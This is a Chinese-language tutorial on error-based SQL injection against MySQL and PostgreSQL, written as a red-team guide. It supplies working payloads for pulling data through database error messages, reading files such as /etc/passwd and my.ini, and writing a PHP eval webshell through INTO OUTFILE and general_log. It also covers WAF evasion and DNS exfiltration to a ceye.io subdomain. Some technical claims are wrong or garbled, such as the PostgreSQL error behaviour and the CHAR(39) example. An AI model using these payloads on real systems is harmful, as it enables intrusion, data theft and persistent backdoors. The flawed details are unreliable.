报错注入原理与实战:从数据库错误回显到文件读写
1. 这不是“绕过WAF”的捷径,而是理解数据库报错机制的必修课
很多人看到“基于报错的SQL注入”第一反应是:这不就是老掉牙的extractvalue()、updatexml()那些函数吗?复制粘贴payload,跑个工具,弹个弹窗就完事了?我做过三年Web渗透测试,也带过十几期红队实训,最常被问到的问题不是“怎么打”,而是“为什么这里报错就能回显数据?”“为什么我改了字段名就500了?”“为什么写入一句话木马总提示权限拒绝?”——这些都不是操作问题,是底层机制没吃透。
这个标题里的“22-2.1”明显来自某套结构化渗透课程编号,它指向一个非常具体的实战断点:当目标系统关闭了常规回显(如联合查询、布尔盲注),但又未对数据库错误信息做脱敏处理时,如何利用MySQL/PostgreSQL等数据库在解析XML、JSON、几何函数等过程中抛出的异常,把我们想要的数据“挤”进错误消息里,再原路返回给前端。它解决的核心问题是:在无回显、无延时、无日志访问权限的受限环境下,如何建立稳定、可控、可复用的数据提取通道。适合刚学完基础注入原理、正卡在“有洞不会用”阶段的渗透初学者,也适合想补全数据库底层交互逻辑的中级人员。关键词很明确:报错注入、敏感文件读取、一句话木马写入——这三个动作不是孤立的,而是一条完整的攻击链:先用报错把/etc/passwd或C:\Windows\win.ini内容“炸”出来,确认文件读取能力;再用同样机制把PHP或ASPX的一句话代码写进网站可执行目录,完成持久化入口搭建。这不是炫技,是真实红队作业中“最小可行控制权”的落地路径。
2. 报错注入的本质:不是漏洞利用,而是数据库的“错误反馈协议”被劫持
2.1 数据库错误消息为何能成为数据信道?
很多人误以为报错注入是“触发数据库崩溃”,其实恰恰相反——它依赖的是数据库极其严谨的错误处理机制。以MySQL为例,当你执行SELECT extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))时,extractvalue()函数本意是解析XML并提取节点值,其第二个参数必须是合法XPath表达式。而concat(0x7e, (SELECT user()), 0x7e)生成的字符串形如~root@localhost~,根本不是XPath语法,MySQL在解析失败时,会严格按协议将错误详情(包括非法XPath字符串的前32字节)写入错误日志,并通过网络协议返回给客户端。这个过程不是“意外泄露”,而是MySQL标准通信流程的一部分:错误响应包(ERR Packet)中包含errno、sqlstate和error message三个字段,其中message字段未经任何过滤直接拼接了用户可控的非法输入片段。PostgreSQL的pg_sleep()虽不报错,但array_to_json(array(select version()))这类JSON函数在遇到非JSON结构时,同样会把构造的非法内容原样塞进错误提示。所以,报错注入的根基不是“数据库有bug”,而是数据库厂商为调试便利设计的“详细错误反馈”功能,在生产环境未关闭时,成了天然的数据回传通道。
2.2 为什么extractvalue()和updatexml()成为主流选择?
在MySQL 5.1+版本中,extractvalue()和updatexml()之所以被高频使用,并非因为它们“最强大”,而是因为它们错误消息截断长度可控、语法容错率高、且几乎不依赖特定表结构。我们来拆解一个典型payload:http://target.com/news.php?id=1 AND (SELECT extractvalue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e)))
CONCAT(0x7e, ... , 0x7e):用波浪线~包裹数据,避免与错误消息原有文本混淆,这是实操中必须加的“分隔符”,否则你根本分不清哪段是用户名、哪段是错误提示。GROUP_CONCAT():聚合多行结果为单字符串,因为extractvalue()只返回第一个匹配项,不聚合的话只能拿到一个表名。- 关键限制:MySQL对
extractvalue()的错误消息截断长度是32字节(注意是字节,不是字符!中文UTF-8占3字节,~root@localhost~共17字节,刚好够)。这意味着如果GROUP_CONCAT结果超长,你只能看到前32字节。我曾在一个金融客户内网遇到过information_schema.tables有200+张表,GROUP_CONCAT结果长达上千字节,第一次跑只看到~t_user~t_order~t_paym,后面全被截断。解决方案不是换函数,而是分页提取:用LIMIT 0,1、LIMIT 1,1逐个取表名,或者用SUBSTRING()切片,比如SUBSTRING((SELECT GROUP_CONCAT(table_name)...), 1, 30)。
提示:别迷信“万能payload”。我在某次甲方授权测试中,目标MySQL版本是5.7.32,
updatexml()报错时会把整个SQL语句都打出来,导致~分隔符失效,错误消息里混着UPDATEXML(1,CONCAT(...这样的原始SQL,根本没法解析。最后换成geometrycollection()函数才搞定——它的错误消息只包含构造的几何对象字符串,干净利落。
2.3 PostgreSQL报错注入的差异点:JSON与数组的“优雅崩溃”
PostgreSQL的报错机制和MySQL完全不同。它没有extractvalue()这种XML函数,但胜在JSON和数组函数异常丰富。最常用的是array_to_json()配合子查询:http://target.com/api?id=1 AND (SELECT array_to_json(array(SELECT username FROM users LIMIT 1)))
当users表存在且username字段可读时,这条语句会正常返回JSON数组;但如果username字段不存在,PostgreSQL会抛出类似column "username" does not exist的错误,而错误消息中会完整显示你构造的非法SQL片段。更精妙的是json_object_agg():SELECT json_object_agg(key, value) FROM (VALUES ('user', current_user), ('db', current_database())) AS t(key, value)
这个语句把两个键值对转成JSON对象,如果current_user返回postgres,结果就是{"user" : "postgres", "db" : "myapp"}。一旦你在VALUES里插入非法内容,比如('user', (SELECT pg_read_file('/etc/passwd', 0, 100))),PostgreSQL会尝试把二进制文件内容转成JSON字符串,必然失败,并在错误中吐出pg_read_file返回的原始字节流——这才是真正的“敏感文件读取”。
注意:PostgreSQL默认关闭
pg_read_file()等高危函数的超级用户权限。但很多开发环境为了方便,会把pg_read_file的执行权限授予public角色。我见过三次这种情况:一次是测试环境DBA图省事,两次是Docker镜像预装的PostgreSQL配置不当。所以报错注入前,务必先用SELECT current_setting('log_statement')确认当前用户权限级别。
3. 从报错回显到文件读取:三步构建稳定的数据提取管道
3.1 第一步:确认数据库类型与版本,这是所有后续操作的前提
盲目发送extractvalue()只会暴露你的水平。正确的起点永远是指纹识别。报错注入的指纹比盲注更精准,因为不同数据库的错误消息格式天差地别:
| 数据库 | 典型错误消息特征 | 实测示例 |
|---|---|---|
| MySQL 5.x | XPATH syntax error: '~root@localhost~' | 错误码1105,含XPATH字样 |
| MySQL 8.0+ | Invalid JSON text in argument 1 to function json_extract: "Invalid value." | 错误码3141,含JSON关键字 |
| PostgreSQL | ERROR: column "xxx" does not exist或ERROR: function pg_read_file(unknown, integer, integer) does not exist | 错误码42703,含does not exist |
| SQL Server | Msg 102, Level 15, State 1, Line 1 Incorrect syntax near 'xxx' | 错误码102,含Incorrect syntax |
实操中,我习惯用一个“三连探针”快速定位:
id=1 AND (SELECT 1 FROM pg_sleep(5))—— 测试是否PostgreSQL(延时注入,不依赖报错)id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, 'test', 0x7e))—— 测试MySQL报错id=1 AND (SELECT * FROM (SELECT 1)a JOIN (SELECT 1)b)—— 测试SQL Server(笛卡尔积报错)
只要有一个返回明确错误,就立刻停止,进入对应数据库的专项利用。千万别贪快,我见过太多人用MySQL payload硬怼PostgreSQL,结果服务器返回500,但错误消息里全是relation "information_schema.tables" does not exist,白白浪费时间。
3.2 第二步:读取敏感文件——从/etc/passwd到Web应用配置
文件读取是报错注入的“高光时刻”,但也是最容易翻车的环节。核心难点在于:数据库进程的文件读取权限 ≠ Web服务进程权限 ≠ 当前登录用户的Shell权限。MySQL的LOAD_FILE()函数要求文件必须满足三个条件:1)文件在数据库服务器本地;2)文件大小不超过max_allowed_packet;3)当前用户拥有FILE权限。而PostgreSQL的pg_read_file()则要求文件在数据库数据目录下,或需开启pg_hba.conf的superuser_reserved_connections。
实际操作中,我总结出一条“降级读取”路径:
- 首选:读取Web应用自身的配置文件。比如PHP的
phpinfo()页面会暴露Loaded Configuration File路径,然后用LOAD_FILE('/usr/local/etc/php/php.ini')读取;Java应用的WEB-INF/web.xml可通过SELECT LOAD_FILE('/var/www/html/WEB-INF/web.xml')获取。这类文件路径确定、权限宽松、内容直接关联业务逻辑。 - 次选:读取数据库自身的配置。MySQL的
SELECT @@version_compile_os, @@version_compile_machine能确认操作系统,再针对性读/etc/os-release或C:\Windows\System32\drivers\etc\hosts。我曾在某政务系统中,通过读取C:\Program Files\MySQL\MySQL Server 8.0\my.ini,直接拿到数据库root密码明文(配置文件里写了password=Admin@123!)。 - 最后手段:读取系统通用文件。
/etc/passwd在Linux上几乎必读,但要注意:MySQL 5.7+默认禁用LOAD_FILE()读取/etc/passwd,会报The MySQL server is running with the --secure-file-priv option。此时要转向SELECT LOAD_FILE('/proc/self/environ'),它能读取当前MySQL进程的环境变量,里面常含PWD、HOME等路径线索。
踩坑实录:某次测试中,目标MySQL启用了
--secure-file-priv=/tmp/,LOAD_FILE('/etc/passwd')直接报错。我转而执行SELECT LOAD_FILE('/tmp/mysql.log'),发现日志里记录了管理员登录IP和时间戳,顺藤摸瓜找到了另一台跳板机的SSH密钥路径。文件读取的目的从来不是“炫技”,而是为下一步横向移动找钥匙。
3.3 第三步:写入一句话木马——权限、路径、编码的三角博弈
写入木马是报错注入的终极目标,但成功率远低于读取文件。原因在于:写入操作需要数据库用户拥有FILE权限(MySQL)或pg_write_file()函数(PostgreSQL),且目标路径必须可写、可执行、且Web服务器能解析。很多新手卡在这里,反复尝试SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'却始终失败,其实败因就三个:
- 路径权限问题:
INTO OUTFILE写入的文件,其父目录必须对MySQL用户可写。/var/www/html/通常属于www-data用户,MySQL运行用户是mysql,二者不互通。解决方案是写入/tmp/再用symlink软链接,或写入Web目录下的子目录(如/var/www/html/uploads/,该目录往往开放写入)。 - 文件覆盖限制:
INTO OUTFILE不能覆盖已有文件。如果shell.php已存在,会报错File '/var/www/html/shell.php' already exists。必须先用SELECT LOAD_FILE('/var/www/html/shell.php')确认文件不存在,或用INTO DUMPFILE(不支持换行,适合单行木马)。 - 编码与空格陷阱:PHP一句话木马中的
<?php在URL中会被编码为%3C%3Fphp,如果数据库未正确解码,写入的文件会变成乱码。最佳实践是用十六进制编码:0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e(即<?php @eval($_POST[cmd]);?>的hex),再用UNHEX()函数转换:SELECT UNHEX('3c3f70687020406576616c28245f504f53545b636d645d293b3f3e') INTO OUTFILE '/var/www/html/shell.php'
经验技巧:写入前务必确认Web目录的绝对路径。我常用
SELECT @@basedir(MySQL)或SELECT setting FROM pg_settings WHERE name = 'data_directory'(PostgreSQL)获取基础路径,再结合SELECT LOAD_FILE('/proc/self/cmdline')读取MySQL启动命令,里面常含--datadir=/var/lib/mysql这样的线索,反向推导Web根目录。有一次,@@basedir返回/usr,但/usr/www/不存在,最后通过SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf')才找到真实的DocumentRoot /var/www/html。
4. 从实验室到真实战场:绕过WAF、处理编码、应对加固的实战细节
4.1 WAF不是铁壁,而是可预测的“语法过滤器”
市面上90%的WAF(如安全狗、云锁、某盾)对报错注入的防护,本质是基于规则的关键词匹配:检测extractvalue、updatexml、load_file、into outfile等字符串。但WAF无法理解SQL语法上下文,这就给了我们绕过空间。我的绕过策略分三层:
层一:大小写与内联注释混淆
EXTRACTVALUE→ExTrAcTvAlUe或/*a*/EXTRACTVALUE/*b*/。WAF规则若写死小写extractvalue,大写就直接放行。内联注释/*a*/在MySQL中会被忽略,但WAF解析器可能把它当作普通字符串跳过。层二:函数别名与等价替换
MySQL 5.7+支持ST_GeomFromText(),其错误消息同样包含输入参数:SELECT ST_GeomFromText(CONCAT('POINT(', (SELECT user()), ')'))
错误提示:Cannot get geometry object from data you send to the GEOMETRY field,后面紧跟着POINT(root@localhost)。这个函数在WAF规则库里几乎无人关注。层三:二次编码与分段传输
当WAF拦截0x7e(波浪线)时,不用十六进制,改用CHAR(126):SELECT extractvalue(1, CONCAT(CHAR(126), (SELECT database()), CHAR(126)))CHAR(126)在SQL中等价于~,但WAF规则很难覆盖所有ASCII函数。更狠的是分段:先用SUBSTRING()取数据库名前5位,再取6-10位,最后用CONCAT()在应用层拼接。这样每次请求的payload都不同,彻底规避基于签名的检测。
真实案例:某电商客户部署了某云WAF,所有
extractvalue请求均被拦截。我改用SELECT GTID_SUBSET((SELECT user()), 1),GTID函数本用于主从复制,传入非法参数时会报错Invalid GTID set encoding: 'root@localhost',错误消息里完整包含user()结果。WAF规则库里根本没有GTID_SUBSET这个词,一击即中。
4.2 字符编码与特殊符号:那些让payload失效的“隐形杀手”
报错注入中最隐蔽的坑,往往来自字符编码。比如:
- URL编码冲突:浏览器会自动将
?id=1 AND (SELECT 1)中的空格编码为%20,但某些WAF会先解码再匹配,导致%20被还原为空格后触发规则。此时应手动用/**/替代空格:id=1/**/AND/**/(SELECT/**/1)。 - 引号逃逸失效:
'在URL中需编码为%27,但若后端用addslashes()处理,%27可能被转义为\%27,导致SQL语法错误。解决方案是用CHAR(39)代替单引号:SELECT * FROM users WHERE id = CHAR(39) OR 1=1 CHAR(39)。 - 中文与宽字节问题:在GBK编码的站点,
%df%27可绕过addslashes(),因为%df和%27组合成一个有效GBK字符,%27不再被视为独立引号。但这对报错注入影响不大,因为报错本身不依赖引号闭合,而是依赖函数参数非法。
最关键的编码问题是错误消息的字符集。MySQL默认用utf8mb4,但某些老旧系统仍用latin1。如果你用CONCAT(0xe2809c, (SELECT user()), 0xe2809d)(左右中文引号),在latin1环境下会变成乱码,错误消息里显示??root@localhost??。此时必须用0x27(英文单引号)或CHAR(39),确保跨字符集兼容。
4.3 应对加固环境:当secure-file-priv开启、local_infile禁用时怎么办?
现代生产环境普遍加固,secure-file-priv是MySQL的“安全阀”,它指定LOAD_FILE()和INTO OUTFILE只能操作该目录下的文件。当SELECT @@secure_file_priv返回/var/lib/mysql-files/时,意味着你无法直接写入Web目录。这时要切换思路:
利用数据库日志功能:MySQL的
general_log可将所有SQL语句写入指定文件。开启方式:SET GLOBAL general_log = ON; SET GLOBAL general_log_file = '/var/www/html/log.php';
然后执行SELECT '<?php @eval($_POST[cmd]);?>';,该语句会被记录到log.php中,访问/log.php即可触发。前提是general_log_file路径可写且在Web目录下。PostgreSQL的
lo_import()与lo_export():这两个函数可操作大对象(Large Object),不受pg_read_file()路径限制。先创建LO:SELECT lo_create(99999);,再导入文件:SELECT lo_import('/etc/passwd', 99999);,最后导出到Web目录:SELECT lo_export(99999, '/var/www/html/pwd.txt');。整个过程不依赖pg_read_file()的路径白名单。终极方案:DNS外带。当所有文件操作都被封死时,用
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.xxxx.ceye.io\\abc'))(MySQL)或SELECT pg_sleep((SELECT LENGTH(user())::int))(PostgreSQL)触发DNS请求,把数据编码进子域名,通过第三方DNS平台(如ceye.io)接收。虽然不能直接写木马,但能稳定提取数据库名、表名、甚至字段内容,为后续人工渗透提供情报。
最后提醒:所有操作必须在授权范围内进行。我坚持一个原则——报错注入的每一步,都要有明确的业务影响评估。比如读取
/etc/passwd是为了确认是否存在高权限账户,写入木马是为了验证RCE权限,而不是为了“证明漏洞存在”。真正的渗透价值,永远在于用最小扰动,换取最大业务可见性。
